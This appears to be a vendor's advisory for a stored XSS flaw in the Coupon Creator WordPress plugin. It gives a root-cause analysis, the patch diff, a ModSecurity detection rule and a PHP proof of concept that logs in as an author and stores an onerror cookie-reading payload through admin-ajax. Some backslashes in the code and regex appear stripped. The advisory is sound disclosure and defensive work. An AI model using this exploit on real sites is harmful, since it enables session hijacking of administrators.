Published : November 23, 2026

CVE-2026-133439: Coupon Creator <= 3.6.5 Authenticated (Author+) Stored Cross-Site Scripting via 'post_title' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.6.5
Patched Version 3.6.6
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133439: The Coupon Creator plugin for WordPress, versions up to and including 3.6.5, contains an authenticated stored cross-site scripting (XSS) vulnerability in the ‘post_title’ parameter. An attacker with author-level access or above can inject arbitrary JavaScript into coupon posts, which executes when a user views the injected page. The CVSS score is 6.4 (Medium). Exploitation requires the administrator to have enabled the ‘Disable Print View’ option (cctor_hide_print_link), as this controls which code branch is taken.

Root Cause: The vulnerability resides in the AJAX save handler located at coupon-creator/plugin-engine/src/Pngx/Admin/Ajax.php. The handler processes field_name and value from POST data without verifying the user’s capability to edit the target post or preventing modification of protected meta keys. The ‘post_title’ field is saved directly via update_post_meta() without sanitization. When the print view is disabled, the title is rendered via the Title field class (coupon-creator/plugin-engine/src/Pngx/Field/Title.php), which uses strip_tags() to allow HTML tags. strip_tags() preserves attributes, so an attacker can inject event handlers like onerror into allowed tags. The patch introduces a capability check (edit_post/publish_posts) and a protected meta check, but the primary fix for XSS is replacing strip_tags() with a new kses() method that applies wp_kses with attribute filtering.

Exploitation: An attacker with author privileges sends a POST request to /wp-admin/admin-ajax.php with action=pngx_save_field (or similar handler action), post_id (existing coupon ID or 0 for new), field_name=post_title, and value set to a malicious payload such as . The handler saves the payload as post meta. When a victim (e.g., administrator) views the coupon or a page where the coupon title is displayed (especially when ‘Disable Print View’ is enabled), the script executes. The attack requires a valid nonce, which the attacker can obtain from the admin interface.

Patch Analysis: The patch (version 3.6.6) addresses the issue on multiple fronts. First, Ajax.php adds a capability check: for existing posts, it verifies current_user_can(‘edit_post’, $post_id); for new posts, it checks publish_posts on the post type. It also blocks protected meta keys using is_protected_meta(). Second, a new static method Pngx__Allowed_Tags::kses() replaces strip_tags(). This method parses the allowed tags list and applies wp_kses with the corresponding allowed attributes from wp_kses_allowed_html(‘post’), thereby stripping dangerous attributes like event handlers. The Title.php and Content.php fields now use this kses() method. Additionally, the plugin protects all cctor_ meta keys via an is_protected_meta filter, preventing raw Custom Fields box access. Other escaping fixes (esc_attr, esc_html) are applied to image alt/title attributes and other output points.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of users viewing the coupon, including administrators. This can lead to session hijacking, privilege escalation (by creating new admin users), data theft, defacement, or malware distribution. The attacker must have author-level access and the vulnerable configuration (print view disabled) must be active.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/coupon-creator/coupon_creator.php
+++ b/coupon-creator/coupon_creator.php
@@ -3,7 +3,7 @@
 Plugin Name: Coupon Creator
 Plugin URI: https://artifexrouting.com/wordpress-plugins/coupon-creator/
 Description: Designed, printable coupons for WordPress. Put a real coupon on your site.
-Version: 3.6.5
+Version: 3.6.6
 Author: Artifex Routing Co
 Author URI: https://artifexrouting.com
 Text Domain: coupon-creator
--- a/coupon-creator/plugin-engine/src/Pngx/Admin/Ajax.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Admin/Ajax.php
@@ -234,6 +234,22 @@

 		$post_id = absint( $_POST['post_id'] );

+		/*
+		 * The nonce proves intent, not permission. An existing post needs edit_post.
+		 * A new post is saved as published, so it needs publish_posts on its type.
+		 * Protected (underscore and cctor_) keys are never written from here.
+		 */
+		$post_type_object = get_post_type_object( sanitize_key( wp_unslash( $_POST['post_type'] ) ) );
+		if ( $post_id ) {
+			$can_save = current_user_can( 'edit_post', $post_id );
+		} else {
+			$can_save = $post_type_object && current_user_can( $post_type_object->cap->publish_posts );
+		}
+
+		if ( ! $can_save || is_protected_meta( (string) wp_unslash( $_POST['field_name'] ), 'post' ) ) {
+			wp_send_json_error( __( 'Permission Error has occurred. Please save, reload, and try again.', 'plugin-engine' ) );
+		}
+
 		if ( empty( $post_id ) || ! empty( $_POST['title_field'] ) ) {

 			$menu_item = array(
--- a/coupon-creator/plugin-engine/src/Pngx/Allowed_Tags.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Allowed_Tags.php
@@ -8,10 +8,39 @@
 /**
  * Allowed Tags in Fields
  *
- *  Used with strip_tags();
+ *  Used with kses();
  */
 class Pngx__Allowed_Tags {

+	/**
+	 * Filters HTML down to an allowed-tags string such as `<p><img><a>`.
+	 *
+	 * Replaces strip_tags( $content, $tags ): strip_tags keeps every attribute
+	 * on an allowed tag, so `<img onerror=...>` got through. This keeps the same
+	 * tags, with the attributes and URL protocols wp_kses_post() allows for each
+	 * one. A tag outside that list, such as `<style>`, is kept with no attributes.
+	 *
+	 * @since 4.0.12
+	 *
+	 * @param mixed $content HTML to filter.
+	 * @param mixed $tags    Allowed tags, as a string of `<tag>` names.
+	 *
+	 * @return string
+	 */
+	public static function kses( $content, $tags ) {
+		$post_tags = wp_kses_allowed_html( 'post' );
+		$allowed   = array();
+
+		preg_match_all( '/<([a-z][a-z0-9]*)>/i', is_string( $tags ) ? $tags : '', $matches );
+
+		foreach ( $matches[1] as $tag ) {
+			$tag             = strtolower( $tag );
+			$allowed[ $tag ] = isset( $post_tags[ $tag ] ) ? $post_tags[ $tag ] : array();
+		}
+
+		return wp_kses( (string) $content, $allowed );
+	}
+
 	/*
 	* Allowed Tags for content without links support
 	*/
--- a/coupon-creator/plugin-engine/src/Pngx/Field/Content.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Field/Content.php
@@ -52,7 +52,7 @@

 		?>
 		<div class="pngx-content <?php echo esc_attr( $class ); ?>" <?php echo wp_strip_all_tags( $style ); ?>>
-			<?php echo strip_tags( $meta,  apply_filters( 'pngx_filter_content_allowed_tags', Pngx__Allowed_Tags::$tags() ) ); ?>
+			<?php echo Pngx__Allowed_Tags::kses( $meta, apply_filters( 'pngx_filter_content_allowed_tags', Pngx__Allowed_Tags::$tags() ) ); ?>
 		</div>
 		<?php
 	}
--- a/coupon-creator/plugin-engine/src/Pngx/Field/Image.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Field/Image.php
@@ -32,7 +32,7 @@
 		if ( $image_src ) {
 			?>
 			<div class="pngx-image <?php echo esc_attr( $class ); ?>" <?php echo wp_strip_all_tags( $style ); ?>>
-				<img src='<?php echo esc_url( $image_src ); ?>' alt='<?php echo get_the_title(); ?>' title='<?php echo get_the_title(); ?>'>
+				<img src='<?php echo esc_url( $image_src ); ?>' alt='<?php echo esc_attr( get_the_title() ); ?>' title='<?php echo esc_attr( get_the_title() ); ?>'>
 			</div>
 			<?php
 		}
--- a/coupon-creator/plugin-engine/src/Pngx/Field/Title.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Field/Title.php
@@ -32,7 +32,7 @@

 		<?php echo $wrap ? '<' . esc_attr( $wrap ) . ' class="' . esc_attr( $class ) . '" ' . wp_strip_all_tags( $style ) . '>' : ''; ?>

-		<?php echo strip_tags( $meta, Pngx__Allowed_Tags::$tags() ); ?>
+		<?php echo Pngx__Allowed_Tags::kses( $meta, Pngx__Allowed_Tags::$tags() ); ?>

 		<?php echo $wrap ? '</' . esc_attr( $wrap ) . '>' : ''; ?>

--- a/coupon-creator/plugin-engine/src/Pngx/Main.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Main.php
@@ -11,7 +11,7 @@
 	 *
 	 * @var string
 	 */
-	const VERSION = '4.0.11';
+	const VERSION = '4.0.12';

 	/**
 	 * Stores the slug for the plugin engine.
--- a/coupon-creator/plugin-engine/src/Pngx/Style/Linked.php
+++ b/coupon-creator/plugin-engine/src/Pngx/Style/Linked.php
@@ -31,15 +31,15 @@
 			foreach ( $field['styles'] as $type => $field_name ) {

 				if ( 'font-color' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= 'color:' . $color . '; ';
+					$style .= 'color:' . self::css_value( $color ) . '; ';
 				}

 				if ( 'background-color' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= 'background-color:' . $color . '; ';
+					$style .= 'background-color:' . self::css_value( $color ) . '; ';
 				}

 				if ( 'background-color:hover' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= 'background-color:hover ' . $color . '; ';
+					$style .= 'background-color:hover ' . self::css_value( $color ) . '; ';
 				}

 			}
@@ -51,18 +51,18 @@
 			foreach ( $field['styles'] as $type => $field_name ) {

 				if ( 'font-color' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '{ color:' . esc_attr( $color ) . '; }';
+					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '{ color:' . self::css_value( $color ) . '; }';
 				}

 				if ( 'background-color' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '{ background-color:' . esc_attr( $color ) . '; }';
+					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '{ background-color:' . self::css_value( $color ) . '; }';
 				}

 				//todo create a filter here and modify the output using that instead of adding specific styling
 				if ( 'background-color-fold' === $type && $color = get_post_meta( $post_id, $field['styles']['background-color'], true ) ) {
 					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . ':after {
-							border-left: solid 6px' . esc_attr( $color ) . ';
-							border-top: solid 6px' . esc_attr( $color ) . ';
+							border-left: solid 6px' . self::css_value( $color ) . ';
+							border-top: solid 6px' . self::css_value( $color ) . ';
 						}';

 					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . '.revealed:after {
@@ -73,7 +73,7 @@
 				}

 				if ( 'background-color:hover' === $type && $color = get_post_meta( $post_id, $field_name, true ) ) {
-					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . ':hover' . '{ background-color:' . esc_attr( $color ) . '; }';
+					$style .= '.' . esc_attr( $target['wrap'] ) . absint( $post_id ) . ' .' . esc_attr( $target['selector'] ) . ':hover' . '{ background-color:' . self::css_value( $color ) . '; }';
 				}

 			}
@@ -85,4 +85,24 @@

 	}

+	/**
+	 * Returns a stored color only when it is a plain CSS color value.
+	 *
+	 * The values are post meta that end up inside a style attribute or a
+	 * <style> block. Letters, digits, `#`, `(`, `)`, `,`, `.`, `%` and spaces
+	 * cover hex, rgb(a), hsl(a) and named colors, and leave no way to close the
+	 * attribute (`"`), the rule (`;` `}`) or the tag (`<`).
+	 *
+	 * @since 4.0.12
+	 *
+	 * @param mixed $value Stored color.
+	 *
+	 * @return string The color, or an empty string.
+	 */
+	protected static function css_value( $value ) {
+		$value = trim( (string) $value );
+
+		return preg_match( '/^[#a-zA-Z0-9(),.%s]+$/', $value ) ? $value : '';
+	}
+
 }
--- a/coupon-creator/src/Cctor/Admin/Columns.php
+++ b/coupon-creator/src/Cctor/Admin/Columns.php
@@ -223,7 +223,7 @@
 					esc_html_e( 'No expiration', 'coupon-creator' );
 				} else {
 					$display_expiration = $coupon_expiration->get_display_expiration();
-					echo $display_expiration ? $display_expiration : '—';
+					echo $display_expiration ? esc_html( (string) $display_expiration ) : '—';
 				}

 				break;
--- a/coupon-creator/src/Cctor/Main.php
+++ b/coupon-creator/src/Cctor/Main.php
@@ -44,7 +44,7 @@
 	protected $min_php = '8.2';

 	const VERSION_KEY              = 'cctor_coupon_version';
-	const VERSION_NUM              = '3.6.5';
+	const VERSION_NUM              = '3.6.6';
 	const MIN_PNGX_VERSION         = '4.0.2';
 	// Minimum add-on versions this core is compatible with — enforced by
 	// gate_outdated_extensions(), which unhooks anything below them rather than
@@ -66,7 +66,7 @@
 	const OPTIONS_ID               = 'coupon_creator_options';

 	public $VERSION_KEY              = 'cctor_coupon_version';
-	public $VERSION_NUM              = '3.6.5';
+	public $VERSION_NUM              = '3.6.6';
 	public $MIN_PNGX_VERSION         = '4.0.2';
 	public $WP_PLUGIN_URL            = 'https://wordpress.org/plugins/coupon-creator/';
 	public $COUPON_CREATOR_STORE_URL = 'https://artifexrouting.com/edd-api/';
--- a/coupon-creator/src/Cctor/Post_Type_Coupon.php
+++ b/coupon-creator/src/Cctor/Post_Type_Coupon.php
@@ -262,6 +262,31 @@
 	}

 	/**
+	 * Marks every `cctor_` post meta key as protected.
+	 *
+	 * The coupon post type supports 'custom-fields', so without this any user who
+	 * can edit a coupon could write these keys raw through core's Custom Fields box
+	 * (admin-ajax add-meta / update-meta), skipping the coupon meta box sanitizers.
+	 * Protected keys are hidden from that box and refused by those requests. The
+	 * plugin's own saves use update_post_meta() directly and are not affected.
+	 *
+	 * @since 3.6.6
+	 *
+	 * @param bool        $protected Whether the key is protected.
+	 * @param string      $meta_key  Meta key.
+	 * @param string|null $meta_type Object type.
+	 *
+	 * @return bool
+	 */
+	public function protect_coupon_meta( $protected, $meta_key, $meta_type = null ) {
+		if ( 'post' === $meta_type && is_string( $meta_key ) && 0 === strpos( $meta_key, 'cctor_' ) ) {
+			return true;
+		}
+
+		return $protected;
+	}
+
+	/**
 	 * Register the post types.
 	 *
 	 * @since 3.0
--- a/coupon-creator/src/Cctor/Provider.php
+++ b/coupon-creator/src/Cctor/Provider.php
@@ -61,6 +61,7 @@
 		add_filter( 'pngx_dropdown_cctor_coupons', array( 'Cctor__Coupon__Admin__Inserter', 'search_coupons' ), 10, 3 );
 		add_filter( 'pngx_dropdown_capability', array( 'Cctor__Coupon__Admin__Inserter', 'dropdown_capability' ), 10, 2 );
 		add_action( 'init', pngx_callback( 'cctor.post_menu', 'register' ), 5 );
+		add_filter( 'is_protected_meta', pngx_callback( 'cctor.post_menu', 'protect_coupon_meta' ), 10, 3 );
 		add_action( 'init',  pngx_callback( 'Pngx__Cron_20', 'filter_cron_schedules' ) );
 		add_action( 'pre_get_posts', pngx_callback( 'cctor.search', 'remove_coupon_from_search' ) );

--- a/coupon-creator/src/Cctor/Templates.php
+++ b/coupon-creator/src/Cctor/Templates.php
@@ -64,6 +64,11 @@
 			$template .= '.php';
 		}

+		// The type name comes from post meta: never let it leave the views folders.
+		if ( 0 !== validate_file( $template ) ) {
+			return false;
+		}
+
 		$file = false;

 		// Theme override: [your-theme]/cctor-coupons/type/<type>.php
--- a/coupon-creator/src/functions/template-functions/cctor-function-image.php
+++ b/coupon-creator/src/functions/template-functions/cctor-function-image.php
@@ -36,6 +36,6 @@
 */
 function cctor_show_print_img( $coupon_id, $couponimage ) {

-	?><img class='cctor_coupon_image' src='<?php echo esc_url( $couponimage ); ?>' alt='<?php echo get_the_title(); ?>' title='<?php echo get_the_title(); ?>'><?php
+	?><img class='cctor_coupon_image' src='<?php echo esc_url( $couponimage ); ?>' alt='<?php echo esc_attr( get_the_title() ); ?>' title='<?php echo esc_attr( get_the_title() ); ?>'><?php

 }
 No newline at end of file
--- a/coupon-creator/src/functions/template-functions/cctor-function-links.php
+++ b/coupon-creator/src/functions/template-functions/cctor-function-links.php
@@ -31,7 +31,7 @@
 		</a><?php
 	} else {
 		//No Links for Image Coupon or Click to Print
-		?><img class='cctor_coupon_image' src='<?php echo esc_url( $couponimage ); ?>' alt='<?php echo get_the_title( $coupon_id ); ?>' title='<?php echo get_the_title( $coupon_id ); ?>'><?php
+		?><img class='cctor_coupon_image' src='<?php echo esc_url( $couponimage ); ?>' alt='<?php echo esc_attr( get_the_title( $coupon_id ) ); ?>' title='<?php echo esc_attr( get_the_title( $coupon_id ) ); ?>'><?php
 	}

 }
--- a/coupon-creator/src/functions/template-functions/cctor-function-meta.php
+++ b/coupon-creator/src/functions/template-functions/cctor-function-meta.php
@@ -14,7 +14,7 @@
 	if ( cctor_options( 'cctor_nofollow_print_template', true, 1 ) == 1 ) { ?>
 		<meta name="robots" content="noindex,nofollow"/>
 	<?php } ?>
-	<title><?php echo get_the_title(); ?></title>
+	<title><?php echo esc_html( get_the_title() ); ?></title>
 	<link rel="profile" href="http://gmpg.org/xfn/11"/>

 	<!--Make Background White to Print Coupon -->
--- a/coupon-creator/vendor/composer/installed.php
+++ b/coupon-creator/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'artifexrouting/coupon-creator',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'c189aa2705c69266f2f72ca3f6e9c03b6ddb9584',
+        'reference' => 'e961c8a796ec8651fe610f0135e3fa8d1ed02e58',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'artifexrouting/coupon-creator' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'c189aa2705c69266f2f72ca3f6e9c03b6ddb9584',
+            'reference' => 'e961c8a796ec8651fe610f0135e3fa8d1ed02e58',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-133439
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026133439,phase:2,deny,status:403,chain,msg:'CVE-2026-133439 Coupon Creator Stored XSS via post_title',severity:'CRITICAL',tag:'CVE-2026-133439'"
  SecRule ARGS_POST:action "@streq pngx_save_field" "chain"
    SecRule ARGS_POST:field_name "@streq post_title" "chain"
      SecRule ARGS_POST:value "@rx <script|onw+s*=" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133439 - Coupon Creator <= 3.6.5 - Authenticated (Author+) Stored XSS via 'post_title'

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'author_user'; // Author-level credentials
$password = 'author_pass';

// Step 1: Log in as author to obtain cookies and nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Get a valid nonce from the coupon editor page (assuming a coupon exists with ID 1)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=1&action=edit');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce (adjust regex based on actual nonce field name)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    die('Could not extract nonce. Ensure coupon ID 1 exists and author can edit it.n');
}

// Step 3: Send malicious AJAX request to save post_title with XSS payload
$payload = '<img src=x onerror=alert(document.cookie)>';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'pngx_save_field', // Actual action name from plugin; may vary
    'post_id' => 1,
    'field_name' => 'post_title',
    'value' => $payload,
    '_wpnonce' => $nonce,
    'post_type' => 'cctor_coupon'
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);

echo "AJAX response: $resultn";
echo "XSS payload stored. Visit the coupon page to trigger.n";

// Clean up
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.